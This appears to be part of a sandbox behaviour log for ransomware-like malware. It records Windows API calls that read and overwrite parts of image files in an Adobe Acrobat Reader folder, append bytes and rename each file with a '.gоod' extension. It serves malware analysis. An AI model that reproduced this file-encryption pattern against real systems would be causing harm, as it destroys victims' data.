dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0233.402] GetFileType (hFile=0x85c) returned 0x1 [0233.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0233.402] GetFileType (hFile=0x85c) returned 0x1 [0233.402] WriteFile (in: hFile=0x85c, lpBuffer=0x38a7bf8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x38a7bf8*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0233.402] CloseHandle (hObject=0x85c) returned 1 [0233.402] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x8a [0233.402] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png.gоod", lpFilePart=0x0) returned 0x8f [0233.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0233.402] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8755a675, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4d7b)) returned 1 [0233.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0233.402] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png.gоod")) returned 1 [0233.403] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png", lpFilePart=0x0) returned 0x7f [0233.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0233.403] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x3927b28 | out: lpFileInformation=0x3927b28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc)) returned 1 [0233.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0233.403] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png", lpFilePart=0x0) returned 0x7f [0233.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0233.403] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0233.404] GetFileType (hFile=0x85c) returned 0x1 [0233.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0233.404] GetFileType (hFile=0x85c) returned 0x1 [0233.404] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0233.404] ReadFile (in: hFile=0x85c, lpBuffer=0x3928020, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x3928020*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0233.525] CloseHandle (hObject=0x85c) returned 1 [0233.525] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png", lpFilePart=0x0) returned 0x7f [0233.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0233.526] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0233.526] GetFileType (hFile=0x85c) returned 0x1 [0233.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0233.526] GetFileType (hFile=0x85c) returned 0x1 [0233.526] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x20bc [0233.526] WriteFile (in: hFile=0x85c, lpBuffer=0x37ec300*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x37ec300*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0233.568] CloseHandle (hObject=0x85c) returned 1 [0233.568] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png", lpFilePart=0x0) returned 0x7f [0233.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0233.568] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0233.568] GetFileType (hFile=0x85c) returned 0x1 [0233.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0233.569] GetFileType (hFile=0x85c) returned 0x1 [0233.569] ReadFile (in: hFile=0x85c, lpBuffer=0x386f7c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x386f7c8*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0233.597] CloseHandle (hObject=0x85c) returned 1 [0233.597] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png", lpFilePart=0x0) returned 0x7f [0233.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0233.597] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0233.597] GetFileType (hFile=0x85c) returned 0x1 [0233.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0233.597] GetFileType (hFile=0x85c) returned 0x1 [0233.597] WriteFile (in: hFile=0x85c, lpBuffer=0x386e4b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x386e4b0*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0233.597] CloseHandle (hObject=0x85c) returned 1 [0233.598] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png", lpFilePart=0x0) returned 0x7f [0233.598] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png.gоod", lpFilePart=0x0) returned 0x84 [0233.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0233.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x877242ee, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20cc)) returned 1 [0233.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0233.598] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png.gоod")) returned 1 [0233.599] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png", lpFilePart=0x0) returned 0x86 [0233.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0233.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x38ef158 | out: lpFileInformation=0x38ef158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c)) returned 1 [0233.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0233.600] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png", lpFilePart=0x0) returned 0x86 [0233.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0233.600] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0233.601] GetFileType (hFile=0x85c) returned 0x1 [0233.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0233.601] GetFileType (hFile=0x85c) returned 0x1 [0233.601] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0233.601] ReadFile (in: hFile=0x85c, lpBuffer=0x38ef690, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x38ef690*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0233.713] CloseHandle (hObject=0x85c) returned 1 [0233.713] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png", lpFilePart=0x0) returned 0x86 [0233.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0233.713] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0233.713] GetFileType (hFile=0x85c) returned 0x1 [0233.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0233.713] GetFileType (hFile=0x85c) returned 0x1 [0233.713] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x456c [0233.713] WriteFile (in: hFile=0x85c, lpBuffer=0x3775c08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x3775c08*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0233.714] CloseHandle (hObject=0x85c) returned 1 [0233.714] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png", lpFilePart=0x0) returned 0x86 [0233.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0233.714] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0233.714] GetFileType (hFile=0x85c) returned 0x1 [0233.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0233.715] GetFileType (hFile=0x85c) returned 0x1 [0233.715] ReadFile (in: hFile=0x85c, lpBuffer=0x3777f58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x3777f58*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0233.742] CloseHandle (hObject=0x85c) returned 1 [0233.742] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png", lpFilePart=0x0) returned 0x86 [0233.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0233.742] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0233.742] GetFileType (hFile=0x85c) returned 0x1 [0233.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0233.742] GetFileType (hFile=0x85c) returned 0x1 [0233.742] WriteFile (in: hFile=0x85c, lpBuffer=0x3776c20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x3776c20*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0233.743] CloseHandle (hObject=0x85c) returned 1 [0233.743] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png", lpFilePart=0x0) returned 0x86 [0233.743] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png.gоod", lpFilePart=0x0) returned 0x8b [0233.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0233.743] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8787b852, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x457c)) returned 1 [0233.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0233.743] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png.gоod")) returned 1 [0233.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0233.744] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes", lpFilePart=0x0) returned 0x78 [0233.745] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0233.745] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.746] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0233.746] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0233.746] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0233.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0233.746] 